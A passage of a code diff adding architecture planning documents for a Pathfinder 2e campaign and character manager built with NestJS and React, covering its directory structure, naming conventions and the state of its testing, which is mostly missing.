||||
│ │ │ │ ├── components/
|
||||
│ │ │ │ │ ├── login-page.tsx
|
||||
│ │ │ │ │ └── register-page.tsx
|
||||
│ │ │ │ ├── hooks/
|
||||
│ │ │ │ │ └── use-auth-store.ts
|
||||
│ │ │ │ └── index.ts # Barrel export
|
||||
│ │ │ ├── characters/ # Character sheet & inventory
|
||||
│ │ │ │ ├── components/ # Modals, tabs, controls
|
||||
│ │ │ │ │ ├── character-sheet-page.tsx # Main tab container
|
||||
│ │ │ │ │ ├── actions-tab.tsx # PF2e actions list
|
||||
│ │ │ │ │ ├── alchemy-tab.tsx # Alchemy system
|
||||
│ │ │ │ │ ├── add-condition-modal.tsx # Add status effect
|
||||
│ │ │ │ │ ├── add-item-modal.tsx # Equipment search & add
|
||||
│ │ │ │ │ ├── add-feat-modal.tsx # Add talent
|
||||
│ │ │ │ │ ├── feat-detail-modal.tsx # Talent details
|
||||
│ │ │ │ │ ├── item-detail-modal.tsx # Equipment details
|
||||
│ │ │ │ │ ├── hp-control.tsx # HP management
|
||||
│ │ │ │ │ ├── rest-modal.tsx # Rest system
|
||||
│ │ │ │ │ ├── recovery-check-modal.tsx # Dying state recovery
|
||||
│ │ │ │ │ ├── dying-indicator.tsx # Dying condition display
|
||||
│ │ │ │ │ ├── import-character-modal.tsx # Pathbuilder import
|
||||
│ │ │ │ │ ├── create-character-modal.tsx # New character
|
||||
│ │ │ │ │ ├── edit-character-modal.tsx # Edit character info
|
||||
│ │ │ │ │ └── image-crop-modal.tsx # Avatar cropping
|
||||
│ │ │ │ ├── utils/
|
||||
│ │ │ │ │ └── export-character-html.ts # Character sheet HTML export
|
||||
│ │ │ │ └── index.ts
|
||||
│ │ │ ├── campaigns/ # Campaign management
|
||||
│ │ │ │ ├── components/
|
||||
│ │ │ │ │ ├── campaigns-page.tsx # Campaign list (home)
|
||||
│ │ │ │ │ ├── campaign-detail-page.tsx # Campaign overview
|
||||
│ │ │ │ │ ├── create-campaign-modal.tsx # New campaign
|
||||
│ │ │ │ │ ├── edit-campaign-modal.tsx # Edit campaign info
|
||||
│ │ │ │ │ └── add-member-modal.tsx # Add player to campaign
|
||||
│ │ │ │ └── index.ts
|
||||
│ │ │ ├── battle/ # Battle screen & real-time combat
|
||||
│ │ │ │ ├── components/
|
||||
│ │ │ │ │ ├── battle-page.tsx # Main battle screen
|
||||
│ │ │ │ │ ├── battle-canvas.tsx # Map & token rendering
|
||||
│ │ │ │ │ ├── battle-session-list.tsx # Session selection
|
||||
│ │ │ │ │ └── token.tsx # Token component
|
||||
│ │ │ │ ├── hooks/
|
||||
│ │ │ │ │ └── use-battle-socket.ts # Battle WebSocket hook
|
||||
│ │ │ │ └── index.ts
|
||||
│ │ │ └── library/ # GM library (maps, combatants)
|
||||
│ │ │ ├── components/
|
||||
│ │ │ │ ├── library-page.tsx # Maps & combatants list
|
||||
│ │ │ │ ├── upload-map-modal.tsx # Add battle map
|
||||
│ │ │ │ └── create-combatant-modal.tsx # Create NPC template
|
||||
│ │ │ └── index.ts
|
||||
│ │ ├── shared/ # Reusable code across features
|
||||
│ │ │ ├── components/
|
||||
│ │ │ │ ├── layout.tsx # App wrapper (navbar, layout)
|
||||
│ │ │ │ ├── protected-route.tsx # Auth enforcement wrapper
|
||||
│ │ │ │ └── ui/ # shadcn/ui components
|
||||
│ │ │ │ ├── button.tsx
|
||||
│ │ │ │ ├── card.tsx
|
||||
│ │ │ │ ├── input.tsx
|
||||
│ │ │ │ ├── spinner.tsx
|
||||
│ │ │ │ ├── action-icon.tsx
|
||||
│ │ │ │ └── index.ts
|
||||
│ │ │ ├── hooks/
|
||||
│ │ │ │ ├── use-character-socket.ts # Character real-time sync
|
||||
│ │ │ │ └── (battle hooks if added)
|
||||
│ │ │ ├── lib/
|
||||
│ │ │ │ ├── api.ts # API client (axios + token mgmt)
|
||||
│ │ │ │ └── utils.ts # Utility functions
|
||||
│ │ │ └── types/
|
||||
│ │ │ └── index.ts # All TypeScript interfaces & types
|
||||
│ │ └── assets/ # Images, fonts
|
||||
│ ├── public/
|
||||
│ │ ├── data/ # JSON data files (equipment, etc.)
|
||||
│ │ └── icons/ # SVG/icon files
|
||||
│ ├── index.html # HTML template
|
||||
│ ├── vite.config.ts # Vite configuration
|
||||
│ ├── tsconfig.json # TypeScript configuration
|
||||
│ ├── tailwind.config.js # Tailwind CSS v4 config
|
||||
│ ├── postcss.config.js # PostCSS plugins
|
||||
│ ├── package.json
|
||||
│ └── dist/ # Build output (generated)
|
||||
│
|
||||
├── server/ # NestJS backend
|
||||
│ ├── src/
|
||||
│ │ ├── main.ts # Server bootstrap & app setup
|
||||
│ │ ├── app.module.ts # Root NestJS module (imports all features)
|
||||
│ │ ├── common/ # Shared utilities across modules
|
||||
│ │ │ └── decorators/
|
||||
│ │ │ ├── current-user.decorator.ts # Extract user from request
|
||||
│ │ │ ├── public.decorator.ts # Skip auth on endpoints
|
||||
│ │ │ ├── roles.decorator.ts # Specify required roles
|
||||
│ │ │ └── index.ts
|
||||
│ │ ├── prisma/
|
||||
│ │ │ └── prisma.service.ts # Database service wrapper
|
||||
│ │ ├── modules/ # Feature modules (NestJS-style)
|
||||
│ │ │ ├── auth/ # Authentication & JWT
|
||||
│ │ │ │ ├── auth.controller.ts # POST /auth/login, /auth/register
|
||||
│ │ │ │ ├── auth.service.ts # User validation, JWT signing
|
||||
│ │ │ │ ├── auth.module.ts # Module exports & dependencies
|
||||
│ │ │ │ ├── guards/
|
||||
│ │ │ │ │ ├── jwt-auth.guard.ts # JWT validation (global)
|
||||
│ │ │ │ │ └── roles.guard.ts # Role checking
|
||||
│ │ │ │ ├── strategies/
|
||||
│ │ │ │ │ └── jwt.strategy.ts # Passport JWT strategy
|
||||
│ │ │ │ └── dto/
|
||||
│ │ │ │ ├── login.dto.ts
|
||||
│ │ │ │ └── register.dto.ts
|
||||
│ │ │ ├── campaigns/ # Campaign management
|
||||
│ │ │ │ ├── campaigns.controller.ts # CRUD campaigns, member management
|
||||
│ │ │ │ ├── campaigns.service.ts # Campaign operations & access checks
|
||||
│ │ │ │ ├── campaigns.module.ts
|
||||
│ │ │ │ └── dto/
|
||||
│ │ │ │ └── (campaign DTOs)
|
||||
│ │ │ ├── characters/ # Character system (core feature)
|
||||
│ │ │ │ ├── characters.controller.ts # Character CRUD, conditions, items, feats
|
||||
│ │ │ │ ├── characters.service.ts # Character logic, HP, conditions, inventory
|
||||
│ │ │ │ ├── characters.gateway.ts # WebSocket real-time sync
|
||||
│ │ │ │ ├── characters.module.ts
|
||||
│ │ │ │ ├── pathbuilder-import.service.ts # Pathbuilder JSON parsing
|
||||
│ │ │ │ ├── alchemy.controller.ts # Alchemy endpoints
|
||||
│ │ │ │ ├── alchemy.service.ts # Alchemy system logic
|
||||
│ │ │ │ └── dto/
|
||||
│ │ │ │ └── (character, alchemy DTOs)
|
||||
│ │ │ ├── equipment/ # Equipment database
|
||||
│ │ │ │ ├── equipment.controller.ts # GET /equipment (search, categories)
|
||||
│ │ │ │ ├── equipment.service.ts # Equipment search & filtering
|
||||
│ │ │ │ ├── equipment.module.ts
|
||||
│ │ │ │ └── dto/
|
||||
│ │ │ ├── feats/ # Feat database
|
||||
│ │ │ │ ├── feats.controller.ts # GET /feats (search)
|
||||
│ │ │ │ ├── feats.service.ts # Feat queries
|
||||
│ │ │ │ ├── feats.module.ts
|
||||
│ │ │ │ └── dto/
|
||||
│ │ │ ├── battle/ # Battle system (maps, sessions, tokens)
|
||||
│ │ │ │ ├── battle.controller.ts # POST/GET /battles
|
||||
│ │ │ │ ├── battle.service.ts # Battle session logic
|
||||
│ │ │ │ ├── battle.gateway.ts # WebSocket battle updates
|
||||
│ │ │ │ ├── battle.module.ts
|
||||
│ │ │ │ ├── battle-maps.controller.ts # Battle map CRUD
|
||||
│ │ │ │ ├── battle-maps.service.ts
|
||||
│ │ │ │ ├── combatants.controller.ts # NPC/monster templates
|
||||
│ │ │ │ ├── combatants.service.ts
|
||||
│ │ │ │ └── dto/
|
||||
│ │ │ ├── translations/ # German translations cache
|
||||
│ │ │ │ ├── translations.controller.ts # GET translations
|
||||
│ │ │ │ ├── translations.service.ts # Cache & Claude API calls
|
||||
│ │ │ │ ├── translations.module.ts
|
||||
│ │ │ │ └── dto/
|
||||
│ │ │ └── claude/ # Claude API integration
|
||||
│ │ │ ├── claude.module.ts
|
||||
│ │ │ └── claude.service.ts # Claude API wrapper
|
||||
│ │ └── generated/ # Generated code (do not edit)
|
||||
│ │ └── prisma/ # Prisma client types & enums
|
||||
│ │ ├── client.ts
|
||||
│ │ ├── models.ts
|
||||
│ │ ├── enums.ts
|
||||
│ │ └── ...
|
||||
│ ├── prisma/ # Prisma ORM configuration
|
||||
│ │ ├── schema.prisma # Database schema (tables, relations, enums)
|
||||
│ │ ├── migrations/ # Versioned database migrations
|
||||
│ │ │ ├── 20260118162916_init/
|
||||
│ │ │ ├── 20260118225853_add_equipment_detail_fields/
|
||||
│ │ │ ├── 20260119083024_add_credits_to_character/
|
||||
│ │ │ └── 20260119111209_add_item_custom_fields/
|
||||
│ │ ├── seed.ts # Base seed script (users, etc.)
|
||||
│ │ └── data/ # JSON source data for seeding
|
||||
│ │ ├── equipment.json # 5,482 PF2e equipment items
|
||||
│ │ ├── feats.json # PF2e talents
|
||||
│ │ ├── spells.json # PF2e spells
|
||||
│ │ ├── actions.json # PF2e combat actions
|
||||
│ │ ├── conditions.json # PF2e conditions (Pathfinder 2e ruleset)
|
||||
│ │ └── ...
|
||||
│ ├── src/generated/ # Generated Prisma types
|
||||
│ ├── package.json
|
||||
│ ├── tsconfig.json
|
||||
│ ├── nest-cli.json
|
||||
│ └── dist/ # Build output (generated)
|
||||
│
|
||||
├── .planning/ # Phase planning documents
|
||||
│ └── codebase/ # Architecture analysis (this file)
|
||||
│ ├── ARCHITECTURE.md
|
||||
│ ├── STRUCTURE.md
|
||||
│ ├── STACK.md
|
||||
│ ├── INTEGRATIONS.md
|
||||
│ ├── CONVENTIONS.md
|
||||
│ ├── TESTING.md
|
||||
│ └── CONCERNS.md
|
||||
├── docs/ # Documentation
|
||||
├── .claude/ # Claude settings & instructions
|
||||
│ └── settings.local.json
|
||||
├── package-lock.json # Lock file (top-level)
|
||||
└── CLAUDE.md # Project guidelines (Quality > Speed)
|
||||
```
|
||||
|
||||
## Directory Purposes
|
||||
|
||||
### Client Structure
|
||||
|
||||
**`client/src/features/`** - Feature-based modules
|
||||
- Each feature is a semi-independent domain (auth, characters, campaigns, battle, library)
|
||||
- Contains components specific to that feature
|
||||
- Exports public API via barrel exports (`index.ts`)
|
||||
- Examples: AuthFeature manages login/register, CharactersFeature manages character sheet
|
||||
- Pattern: Feature-based organization allows independent testing and scaling
|
||||
|
||||
**`client/src/shared/`** - Cross-feature reusables
|
||||
- `components/ui/` - shadcn/ui primitive components (Button, Card, Input, etc.)
|
||||
- `components/layout.tsx` - App wrapper with navbar
|
||||
- `components/protected-route.tsx` - Auth enforcement for routes
|
||||
- `hooks/` - Custom React hooks (useCharacterSocket, etc.)
|
||||
- `lib/api.ts` - HTTP client with token management
|
||||
- `lib/utils.ts` - Helper functions
|
||||
- `types/` - All TypeScript interfaces shared across app
|
||||
- Pattern: Single source of truth for types, no duplication
|
||||
|
||||
**`client/public/`** - Static files
|
||||
- `data/` - JSON files (if any live here, but equipment comes from backend)
|
||||
- `icons/` - SVG icons used in UI
|
||||
|
||||
### Server Structure
|
||||
|
||||
**`server/src/modules/`** - NestJS modules by feature
|
||||
- Each module is self-contained: controller → service → gateway
|
||||
- Module exports what other modules need via `exports: []` in decorator
|
||||
- Examples:
|
||||
- CharactersModule exports CharactersService, CharactersGateway for cross-module use
|
||||
- AuthModule exports AuthService, guards for other modules to use
|
||||
- Pattern: Module-based organization with explicit dependency injection
|
||||
|
||||
**`server/src/common/`** - Shared utilities
|
||||
- Decorators: @CurrentUser, @Public, @Roles
|
||||
- Guards: Shared by all modules
|
||||
- Pattern: Cross-cutting concerns in one place
|
||||
|
||||
**`server/prisma/`** - Database layer
|
||||
- `schema.prisma` - Single source of truth for data model
|
||||
- `migrations/` - Versioned schema changes (never use `db push`)
|
||||
- `seed.ts` - Initial data
|
||||
- `data/` - JSON source files for seed scripts
|
||||
- Pattern: Database-first approach, all data in DB not JSON files
|
||||
|
||||
## Key File Locations
|
||||
|
||||
### Entry Points
|
||||
|
||||
**Backend:**
|
||||
- `server/src/main.ts` - Bootstrap NestJS app, enable pipes/guards/swagger
|
||||
- AppModule at `server/src/app.module.ts` - Wires all modules together
|
||||
|
||||
**Frontend:**
|
||||
- `client/src/main.tsx` - React root render
|
||||
- Router at `client/src/App.tsx` - BrowserRouter with route protection
|
||||
|
||||
### Configuration
|
||||
|
||||
**Environment:**
|
||||
- `server/.env` - PostgreSQL, JWT_SECRET, ANTHROPIC_API_KEY, CORS_ORIGINS
|
||||
- `client/.env` - VITE_API_URL (must match server PORT)
|
||||
- Example files: `server/.env.example`, `client/.env.example`
|
||||
|
||||
**Build & Development:**
|
||||
- Backend:
|
||||
- `server/nest-cli.json` - NestJS CLI config
|
||||
- `server/tsconfig.json` - TypeScript settings
|
||||
- Frontend:
|
||||
- `client/vite.config.ts` - Vite bundler (alias paths with `@`)
|
||||
- `client/tsconfig.json` - TypeScript settings (strict mode)
|
||||
- `client/tailwind.config.js` - Tailwind v4 customization
|
||||
- `client/postcss.config.js` - CSS processing
|
||||
|
||||
### Core Logic
|
||||
|
||||
**Character System:**
|
||||
- Service: `server/src/modules/characters/characters.service.ts` - HP, conditions, items
|
||||
- Gateway: `server/src/modules/characters/characters.gateway.ts` - Real-time sync
|
||||
- Import: `server/src/modules/characters/pathbuilder-import.service.ts` - Pathbuilder parsing
|
||||
- Alchemy: `server/src/modules/characters/alchemy.service.ts` - Alchemy logic
|
||||
- UI: `client/src/features/characters/components/character-sheet-page.tsx` - Main page
|
||||
|
||||
**Battle System:**
|
||||
- Service: `server/src/modules/battle/battle.service.ts` - Sessions & tokens
|
||||
- Gateway: `server/src/modules/battle/battle.gateway.ts` - Real-time sync
|
||||
- Canvas: `client/src/features/battle/components/battle-canvas.tsx` - Map & tokens
|
||||
|
||||
**Equipment Database:**
|
||||
- Service: `server/src/modules/equipment/equipment.service.ts` - Search & filtering
|
||||
- Controller: `server/src/modules/equipment/equipment.controller.ts` - Endpoints
|
||||
- UI: `client/src/features/characters/components/add-item-modal.tsx` - Search UI
|
||||
- Data: `server/prisma/data/equipment.json` - 5,482 items (seeded to DB)
|
||||
|
||||
**Authentication:**
|
||||
- Service: `server/src/modules/auth/auth.service.ts` - Login/register/JWT
|
||||
- Guard: `server/src/modules/auth/guards/jwt-auth.guard.ts` - Applied globally
|
||||
- Store: `client/src/features/auth/hooks/use-auth-store.ts` - Client-side auth state
|
||||
- API: `client/src/shared/lib/api.ts` - Token persistence (localStorage vs sessionStorage)
|
||||
|
||||
### Testing
|
||||
|
||||
**Backend:**
|
||||
- Test files: `server/src/**/*.spec.ts` (not yet created - opportunity)
|
||||
- Config: `server/jest.config.js` (if exists)
|
||||
|
||||
**Frontend:**
|
||||
- Test files: `client/src/**/*.spec.tsx` (not yet created - opportunity)
|
||||
- Config: `client/vitest.config.ts` (if exists) or `client/jest.config.js`
|
||||
|
||||
## Naming Conventions
|
||||
|
||||
### Files
|
||||
|
||||
**Component files (React):**
|
||||
- Pattern: kebab-case `.tsx`
|
||||
- Example: `character-sheet-page.tsx`, `add-item-modal.tsx`, `hp-control.tsx`
|
||||
- Convention: Lowercase with hyphens, `.tsx` for JSX
|
||||
|
||||
**Service files (NestJS):**
|
||||
- Pattern: kebab-case `.ts`
|
||||
- Example: `characters.service.ts`, `pathbuilder-import.service.ts`, `alchemy.service.ts`
|
||||
- Convention: Feature name + responsibility (service/controller/gateway)
|
||||
|
||||
**Guard/Strategy files:**
|
||||
- Pattern: kebab-case `.ts`
|
||||
- Example: `jwt-auth.guard.ts`, `jwt.strategy.ts`
|
||||
|
||||
**DTO files:**
|
||||
- Pattern: kebab-case `.ts` inside `dto/` folder
|
||||
- Example: `login.dto.ts`, `register.dto.ts`
|
||||
|
||||
**Module files:**
|
||||
- Pattern: Feature name + `.module.ts`
|
||||
- Example: `auth.module.ts`, `characters.module.ts`
|
||||
|
||||
### Directories
|
||||
|
||||
**Feature directories:**
|
||||
- Pattern: kebab-case (lowercase with hyphens)
|
||||
- Example: `auth/`, `campaigns/`, `characters/`, `battle/`, `library/`
|
||||
- Structure: Each feature has `components/`, `hooks/`, `utils/`, `index.ts`
|
||||
|
||||
**Shared directories:**
|
||||
- Pattern: Descriptive plural or functional names
|
||||
- Examples: `components/`, `hooks/`, `lib/`, `types/`, `decorators/`, `strategies/`
|
||||
|
||||
**Module sub-directories:**
|
||||
- Pattern: `guards/`, `strategies/`, `dto/` (lowercase)
|
||||
- Convention: Consistent across all modules
|
||||
|
||||
## Where to Add New Code
|
||||
|
||||
### New Feature
|
||||
|
||||
**Backend:**
|
||||
1. Create `server/src/modules/[feature]/` directory
|
||||
2. Create files:
|
||||
- `[feature].module.ts` - NestJS module, imports dependencies
|
||||
- `[feature].controller.ts` - HTTP endpoints
|
||||
- `[feature].service.ts` - Business logic
|
||||
- `[feature].gateway.ts` (optional) - WebSocket if real-time needed
|
||||
- `dto/` folder with DTOs
|
||||
3. Import module in `server/src/app.module.ts`
|
||||
|
||||
**Frontend:**
|
||||
1. Create `client/src/features/[feature]/` directory
|
||||
2. Create sub-folders:
|
||||
- `components/` - React components
|
||||
- `hooks/` - Custom hooks (if state needed)
|
||||
- `index.ts` - Barrel export
|
||||
3. Add routes in `client/src/App.tsx`
|
||||
|
||||
**Database (if adding entities):**
|
||||
1. Add model to `server/prisma/schema.prisma`
|
||||
2. Run: `cd server && npm run db:migrate:dev`
|
||||
3. Name migration descriptively: "add_new_feature_table"
|
||||
4. Seeds automatically regenerate Prisma client
|
||||
|
||||
### New Component/Module
|
||||
|
||||
**React Component:**
|
||||
- Location: `client/src/features/[feature]/components/[name].tsx`
|
||||
- Pattern: Named export + default export
|
||||
- Import shared types from `client/src/shared/types/index.ts`
|
||||
- Use API client from `client/src/shared/lib/api.ts`
|
||||
|
||||
**NestJS Service:**
|
||||
- Location: `server/src/modules/[feature]/[name].service.ts`
|
||||
- Pattern: @Injectable() class with public methods
|
||||
- Inject PrismaService via constructor
|
||||
- Keep business logic in service, HTTP concern in controller
|
||||
|
||||
**WebSocket Gateway:**
|
||||
- Location: `server/src/modules/[feature]/[name].gateway.ts`
|
||||
- Pattern: @WebSocketGateway() @Injectable() class
|
||||
- Authenticate in handleConnection()
|
||||
- Emit broadcasts to rooms via socket.server.to(room).emit()
|
||||
|
||||
### Utilities
|
||||
|
||||
**Shared Frontend Helpers:**
|
||||
- Location: `client/src/shared/lib/utils.ts`
|
||||
- Pattern: Exported functions (no classes)
|
||||
- Use for date formatting, type checks, calculations
|
||||
|
||||
**Shared Backend Helpers:**
|
||||
- Location: `server/src/common/` (create subdirectory if needed)
|
||||
- Pattern: Injectable services or utility functions
|
||||
- Example: CommonService for shared operations
|
||||
|
||||
## Special Directories
|
||||
|
||||
**`server/prisma/migrations/`**
|
||||
- Purpose: Version control for database schema
|
||||
- Generated: Auto-created by `npm run db:migrate:dev`
|
||||
- Committed: YES (must be in git for reproducible deployments)
|
||||
- Manual edits: Rarely needed, but can fix SQL if migration is broken
|
||||
- Pattern: Timestamp-prefixed folders with `.sql` files inside
|
||||
|
||||
**`server/src/generated/`**
|
||||
- Purpose: Prisma-generated types and client
|
||||
- Generated: Auto-created by `npm run db:generate`
|
||||
- Committed: NO (regenerated on install)
|
||||
- Manual edits: DO NOT EDIT — regenerate instead
|
||||
|
||||
**`client/public/data/`**
|
||||
- Purpose: Static JSON files (currently unused, equipment in DB)
|
||||
- Generated: NO (manually added if needed)
|
||||
- Committed: YES
|
||||
- Pattern: Only for truly static reference data
|
||||
|
||||
**`server/dist/` and `client/dist/`**
|
||||
- Purpose: Compiled/bundled output
|
||||
- Generated: YES (`npm run build`)
|
||||
- Committed: NO (.gitignore)
|
||||
- Pattern: Build artifacts, environment-specific
|
||||
|
||||
**`server/node_modules/` and `client/node_modules/`**
|
||||
- Purpose: Installed dependencies
|
||||
- Generated: YES (`npm install`)
|
||||
- Committed: NO (.gitignore)
|
||||
- Pattern: Use package-lock.json for reproducibility
|
||||
|
||||
---
|
||||
|
||||
*Structure analysis: 2026-04-27*
|
||||
340
.planning/codebase/TESTING.md
Normal file
340
.planning/codebase/TESTING.md
Normal file
@@ -0,0 +1,340 @@
|
||||
# Testing Patterns
|
||||
|
||||
**Analysis Date:** 2026-04-27
|
||||
|
||||
## Test Framework Status
|
||||
|
||||
**Current State:** **Minimal test coverage - testing infrastructure in place but not actively used**
|
||||
|
||||
### Jest (Server)
|
||||
|
||||
**Runner:**
|
||||
- Jest 30.x
|
||||
- Config: Inline in `server/package.json` (lines 88-104)
|
||||
|
||||
**Run Commands:**
|
||||
```bash
|
||||
cd server
|
||||
npm test # Run all unit tests (seeks *.spec.ts files)
|
||||
npm run test:watch # Watch mode for development
|
||||
npm run test:cov # Generate coverage report
|
||||
npm run test:debug # Debug mode with breakpoints
|
||||
npm run test:e2e # Run end-to-end tests (config: test/jest-e2e.json)
|
||||
```
|
||||
|
||||
**Configuration Details:**
|
||||
```json
|
||||
{
|
||||
"moduleFileExtensions": ["js", "json", "ts"],
|
||||
"rootDir": "src",
|
||||
"testRegex": ".*\\.spec\\.ts$",
|
||||
"transform": { "^.+\\.(t|j)s$": "ts-jest" },
|
||||
"collectCoverageFrom": ["**/*.(t|j)s"],
|
||||
"coverageDirectory": "../coverage",
|
||||
"testEnvironment": "node"
|
||||
}
|
||||
```
|
||||
|
||||
**Testing Libraries:**
|
||||
- Jest 30.x (test runner)
|
||||
- ts-jest (TypeScript support)
|
||||
- @nestjs/testing (NestJS module testing utilities)
|
||||
- supertest (HTTP request testing)
|
||||
|
||||
### Vitest (Client)
|
||||
|
||||
**Status:** Not installed. No vitest config present in `client/package.json`
|
||||
|
||||
**Implications:** Client has zero automated test infrastructure. Any future testing would require adding vitest and configuring it.
|
||||
|
||||
## Test File Organization
|
||||
|
||||
**Server:**
|
||||
- Location: Unit tests alongside source in `src/`, E2E tests in `test/`
|
||||
- Naming: `*.spec.ts` for unit tests, `*.e2e-spec.ts` for integration tests
|
||||
- Example: No unit test files currently exist in `server/src/`
|
||||
|
||||
**Current Test Suite:**
|
||||
- Location: `server/test/app.e2e-spec.ts`
|
||||
- Scope: Single basic integration test for app startup
|
||||
- Status: Placeholder test (checks 'Hello World!' endpoint that doesn't exist)
|
||||
|
||||
**Client:**
|
||||
- No test files present
|
||||
- No test directory structure
|
||||
|
||||
## Test Structure (Server)
|
||||
|
||||
**E2E Test Example** (`server/test/app.e2e-spec.ts`):
|
||||
```typescript
|
||||
import { Test, TestingModule } from '@nestjs/testing';
|
||||
import { INestApplication } from '@nestjs/common';
|
||||
import request from 'supertest';
|
||||
import { AppModule } from './../src/app.module';
|
||||
|
||||
describe('AppController (e2e)', () => {
|
||||
let app: INestApplication;
|
||||
|
||||
beforeEach(async () => {
|
||||
const moduleFixture: TestingModule = await Test.createTestingModule({
|
||||
imports: [AppModule],
|
||||
}).compile();
|
||||
|
||||
app = moduleFixture.createNestApplication();
|
||||
await app.init();
|
||||
});
|
||||
|
||||
it('/ (GET)', () => {
|
||||
return request(app.getHttpServer())
|
||||
.get('/')
|
||||
.expect(200)
|
||||
.expect('Hello World!');
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
**Patterns:**
|
||||
- `describe()` for test suites
|
||||
- `it()` for individual tests (or `test()`)
|
||||
- `beforeEach()` for setup (module initialization)
|
||||
- Async/await for async operations
|
||||
- Chained `.expect()` assertions with supertest
|
||||
|
||||
## Mocking
|
||||
|
||||
### Server (Jest/NestJS)
|
||||
|
||||
**Framework:** @nestjs/testing provides test module builder
|
||||
|
||||
**Pattern Observed:**
|
||||
```typescript
|
||||
const moduleFixture: TestingModule = await Test.createTestingModule({
|
||||
imports: [AppModule], // Or specific module imports
|
||||
}).compile();
|
||||
|
||||
const service = moduleFixture.get<ServiceName>(ServiceName);
|
||||
```
|
||||
|
||||
**What to Mock:**
|
||||
- Database (Prisma) - would use mock provider
|
||||
- External APIs - would use jest.mock()
|
||||
- Services with dependencies - inject via module builder
|
||||
|
||||
**What NOT to Mock:**
|
||||
- NestJS core decorators
|
||||
- Guards/Middleware (test through integration)
|
||||
- Database schema (use test database)
|
||||
|
||||
### Client
|
||||
|
||||
**No mocking patterns established yet** - testing infrastructure not present.
|
||||
|
||||
Would require:
|
||||
- Vitest for runner
|
||||
- `@testing-library/react` for component testing
|
||||
- Mock fetch/axios calls
|
||||
- Mock WebSocket connections
|
||||
|
||||
## Fixtures and Factories
|
||||
|
||||
**Server:**
|
||||
|
||||
**Test Data Approach:** Not fully established, but patterns available:
|
||||
- Prisma seed scripts exist in `server/prisma/`:
|
||||
- `seed.ts` - Basic seed
|
||||
- `seed-equipment.ts` - 5,482 equipment items
|
||||
- `seed-feats.ts` - Feat database
|
||||
- Could be reused for test fixtures
|
||||
|
||||
**Location:** Would be in test directory or integrated with jest setup
|
||||
|
||||
**No factory pattern observed** - tests would need to build objects inline or create helper functions
|
||||
|
||||
**Client:**
|
||||
|
||||
**Not applicable** - no test infrastructure
|
||||
|
||||
## Coverage
|
||||
|
||||
**Requirements:** None enforced (no CI/CD pipeline checking coverage)
|
||||
|
||||
**View Coverage:**
|
||||
```bash
|
||||
cd server
|
||||
npm run test:cov
|
||||
# Generates: server/coverage/
|
||||
```
|
||||
|
||||
**Current Coverage:** Unknown (no tests running)
|
||||
|
||||
**Gaps:** **Entire codebase untested**
|
||||
- Auth module: No unit tests (`server/src/modules/auth/`)
|
||||
- Characters module: No unit tests (`server/src/modules/characters/`)
|
||||
- Battle module: No unit tests (`server/src/modules/battle/`)
|
||||
- WebSocket gateway: No tests
|
||||
- Guards/Decorators: No tests
|
||||
- Client components: No tests
|
||||
- Client hooks: No tests
|
||||
- State management (Zustand): No tests
|
||||
|
||||
## Test Types
|
||||
|
||||
### Unit Tests
|
||||
|
||||
**Not currently used**
|
||||
|
||||
**When implemented, pattern would be:**
|
||||
- Test individual services in isolation
|
||||
- Mock Prisma client
|
||||
- Location: `server/src/modules/[module]/[module].service.spec.ts`
|
||||
- Example test structure (not yet used):
|
||||
```typescript
|
||||
describe('AuthService', () => {
|
||||
let service: AuthService;
|
||||
let prisma: PrismaService;
|
||||
|
||||
beforeEach(async () => {
|
||||
const module = await Test.createTestingModule({
|
||||
providers: [AuthService, { provide: PrismaService, useValue: mockPrisma }],
|
||||
}).compile();
|
||||
|
||||
service = module.get<AuthService>(AuthService);
|
||||
});
|
||||
|
||||
it('should register user', async () => {
|
||||
// Test implementation
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### Integration Tests
|
||||
|
||||
**Single example:** `server/test/app.e2e-spec.ts`
|
||||
|
||||
**Scope:**
|
||||
- Tests full HTTP request/response cycle
|
||||
- Uses real app instance
|
||||
- Uses Test.createTestingModule() to create app
|
||||
|
||||
**Pattern:**
|
||||
```typescript
|
||||
return request(app.getHttpServer())
|
||||
.post('/auth/login')
|
||||
.send({ identifier: 'user', password: 'pass' })
|
||||
.expect(200)
|
||||
.expect((res) => {
|
||||
expect(res.body.token).toBeDefined();
|
||||
});
|
||||
```
|
||||
|
||||
**Would need:** Database test fixtures, cleanup between tests
|
||||
|
||||
### E2E Tests
|
||||
|
||||
**Config:** `server/test/jest-e2e.json`
|
||||
|
||||
**Difference from Integration:**
|
||||
- Run against deployed/separate server
|
||||
- Test user workflows end-to-end
|
||||
- Full database setup/teardown
|
||||
|
||||
**Currently:** Not implemented beyond placeholder
|
||||
|
||||
## Common Patterns
|
||||
|
||||
### Async Testing
|
||||
|
||||
**Server (Jest):**
|
||||
```typescript
|
||||
it('should load data', async () => {
|
||||
const result = await service.loadData();
|
||||
expect(result).toBeDefined();
|
||||
});
|
||||
```
|
||||
|
||||
- async/await preferred
|
||||
- Supertest chainable: `request().post().send().expect()`
|
||||
|
||||
**Client (not yet implemented):**
|
||||
Would use:
|
||||
```typescript
|
||||
const { result } = await renderHook(() => useCharacterSocket());
|
||||
await waitFor(() => expect(result.current.socket).toBeDefined());
|
||||
```
|
||||
|
||||
### Error Testing
|
||||
|
||||
**Not yet implemented, but pattern would be:**
|
||||
|
||||
**Server:**
|
||||
```typescript
|
||||
it('should throw NotFoundException', async () => {
|
||||
await expect(service.getCharacter('invalid-id'))
|
||||
.rejects
|
||||
.toThrow(NotFoundException);
|
||||
});
|
||||
```
|
||||
|
||||
**Actual exception handling verified through:**
|
||||
- Controllers catch exceptions
|
||||
- Guards handle auth failures
|
||||
- Integration tests verify HTTP status codes
|
||||
|
||||
## Critical Test Gaps
|
||||
|
||||
**High Priority (Authentication):**
|
||||
- AuthService.register() - conflicts, hashing, JWT generation
|
||||
- AuthService.login() - invalid credentials, token generation
|
||||
- JWT guard - token validation, public routes
|
||||
- File: `server/src/modules/auth/auth.service.ts` (lines 20-104)
|
||||
|
||||
**High Priority (Character Management):**
|
||||
- CharactersService access control (checkCampaignAccess, checkCharacterAccess)
|
||||
- HP updates and state sync via WebSocket
|
||||
- Condition application (dying, wounded, doomed mechanics)
|
||||
- Item management (equip, invest, notes)
|
||||
- File: `server/src/modules/characters/characters.service.ts`
|
||||
|
||||
**High Priority (Real-time Sync):**
|
||||
- CharactersGateway connection authentication
|
||||
- WebSocket message broadcasting
|
||||
- Concurrent client updates
|
||||
- File: `server/src/modules/characters/characters.gateway.ts`
|
||||
|
||||
**Medium Priority (Client UI):**
|
||||
- HpControl component (damage, heal, direct modes)
|
||||
